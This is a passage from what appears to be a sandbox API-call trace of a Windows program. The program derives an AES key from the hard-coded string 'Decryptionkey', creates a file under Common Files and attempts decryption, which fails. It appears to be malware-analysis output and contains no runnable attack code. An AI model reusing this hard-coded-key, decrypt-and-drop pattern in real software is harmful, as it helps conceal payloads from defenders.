(hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.411] GetCursorPos (in: lpPoint=0x10f395eff0 | out: lpPoint=0x10f395eff0*(x=881, y=512)) returned 1 [0049.411] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395eff0 | out: lpPoint=0x10f395eff0) returned 1 [0049.411] GetAsyncKeyState (vKey=1) returned 0 [0049.411] GetAsyncKeyState (vKey=2) returned 0 [0049.411] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.411] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.411] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0049.411] PeekMessageW (in: lpMsg=0x10f395ee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ee70) returned 0 [0049.411] PeekMessageW (in: lpMsg=0x10f395ee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ee70) returned 0 [0049.412] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.412] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.412] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.412] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0049.412] PeekMessageW (in: lpMsg=0x10f395ee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ee70) returned 0 [0049.412] PeekMessageW (in: lpMsg=0x10f395ee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ee70) returned 0 [0049.412] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.412] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.412] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.412] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.412] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0049.413] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.413] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.413] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0049.413] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.413] PeekMessageW (in: lpMsg=0x10f395e4a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e4a0) returned 0 [0049.414] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.414] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.414] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0049.414] PeekMessageW (in: lpMsg=0x10f395e790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e790) returned 0 [0049.414] PeekMessageW (in: lpMsg=0x10f395e790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e790) returned 0 [0049.414] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.414] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.414] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.414] PeekMessageW (in: lpMsg=0x10f395e520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e520) returned 0 [0049.414] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0049.414] PeekMessageW (in: lpMsg=0x10f395e520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e520) returned 0 [0049.415] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x10f3c0d0d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0049.415] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0049.416] CryptCreateHash (in: hProv=0x10f3c3d4c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x10f395e5b0 | out: phHash=0x10f395e5b0) returned 1 [0049.417] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.417] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.417] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.417] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Decryptionkey", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Decryptionkey", cchWideChar=14, lpMultiByteStr=0x10f3c0d850, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Decryptionkey", lpUsedDefaultChar=0x0) returned 14 [0049.417] CharLowerBuffW (in: lpsz="byte[13]", cchLength=0x8 | out: lpsz="byte[13]") returned 0x8 [0049.418] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.418] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.418] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.418] PeekMessageW (in: lpMsg=0x10f395e520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e520) returned 0 [0049.418] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.418] CryptHashData (hHash=0x10f3be56c0, pbData=0x10f3c0d830, dwDataLen=0xd, dwFlags=0x1) returned 1 [0049.418] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.418] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.418] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.418] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.418] PeekMessageW (in: lpMsg=0x10f395e520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e520) returned 0 [0049.418] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0049.419] PeekMessageW (in: lpMsg=0x10f395e520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e520) returned 0 [0049.419] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.419] CryptDeriveKey (in: hProv=0x10f3c3d4c0, Algid=0x660e, hBaseData=0x10f3be56c0, dwFlags=0x1, phKey=0x10f395e5b0 | out: phKey=0x10f395e5b0*=0x10f3be5dc0) returned 1 [0049.419] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.419] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.419] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.420] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.420] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.420] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.420] PeekMessageW (in: lpMsg=0x10f395e610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e610) returned 0 [0049.420] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.420] CryptDestroyHash (hHash=0x10f3be56c0) returned 1 [0049.420] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.420] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.420] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.420] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.420] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.420] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.420] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x10f395efa0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395efa0*=0) returned 1 [0049.420] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.420] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.420] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.421] GetFileAttributesW (lpFileName="C:\\PROGRA~1\\COMMON~1\\" (normalized: "c:\\progra~1\\common~1")) returned 0x10 [0049.421] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\3123635631" (normalized: "c:\\progra~1\\common~1\\3123635631"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0049.421] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.421] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.421] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.421] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.423] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f050, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f050*=0) returned 1 [0049.423] ReadFile (in: hFile=0x194, lpBuffer=0x10f3c46a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395f090, lpOverlapped=0x0 | out: lpBuffer=0x10f3c46a00*, lpNumberOfBytesRead=0x10f395f090*=0x10, lpOverlapped=0x0) returned 1 [0049.423] ReadFile (in: hFile=0x194, lpBuffer=0x10f3c46a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395f090, lpOverlapped=0x0 | out: lpBuffer=0x10f3c46a00*, lpNumberOfBytesRead=0x10f395f090*=0x0, lpOverlapped=0x0) returned 1 [0049.426] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.426] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.426] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.426] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0049.426] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.427] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.427] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0049.427] PeekMessageW (in: lpMsg=0x10f395e700, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e700) returned 0 [0049.427] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0049.427] PeekMessageW (in: lpMsg=0x10f395e700, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e700) returned 0 [0049.427] PeekMessageW (in: lpMsg=0x10f395e700, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e700) returned 0 [0049.427] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.428] PeekMessageW (in: lpMsg=0x10f395de60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395de60) returned 0 [0049.429] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0049.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x10f3c0d4d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0049.429] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0049.430] CryptGetKeyParam (in: hKey=0x10f3be5dc0, dwParam=0x7, pbData=0x10f3acbdf0, pdwDataLen=0x10f395dec8, dwFlags=0x0 | out: pbData=0x10f3acbdf0*=0x660e, pdwDataLen=0x10f395dec8*=0x4) returned 1 [0049.430] PeekMessageW (in: lpMsg=0x10f395e700, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e700) returned 0 [0049.430] PeekMessageW (in: lpMsg=0x10f395e700, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e700) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0049.431] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.431] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.431] PeekMessageW (in: lpMsg=0x10f395e4a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e4a0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.431] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0049.431] PeekMessageW (in: lpMsg=0x10f395e790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e790) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395e790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e790) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.431] CharLowerBuffW (in: lpsz="byte[1016]", cchLength=0xa | out: lpsz="byte[1016]") returned 0xa [0049.431] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.432] PeekMessageW (in: lpMsg=0x10f395e520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e520) returned 0 [0049.432] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.432] CryptDecrypt (in: hKey=0x10f3be5dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10f3c432a0, pdwDataLen=0x10f395e5d8 | out: pbData=0x10f3c432a0, pdwDataLen=0x10f395e5d8) returned 0 [0049.432] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.432] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0049.432] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.432] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0049.432] PeekMessageW (in: lpMsg=0x10f395e790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e790) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395e790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e790) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, 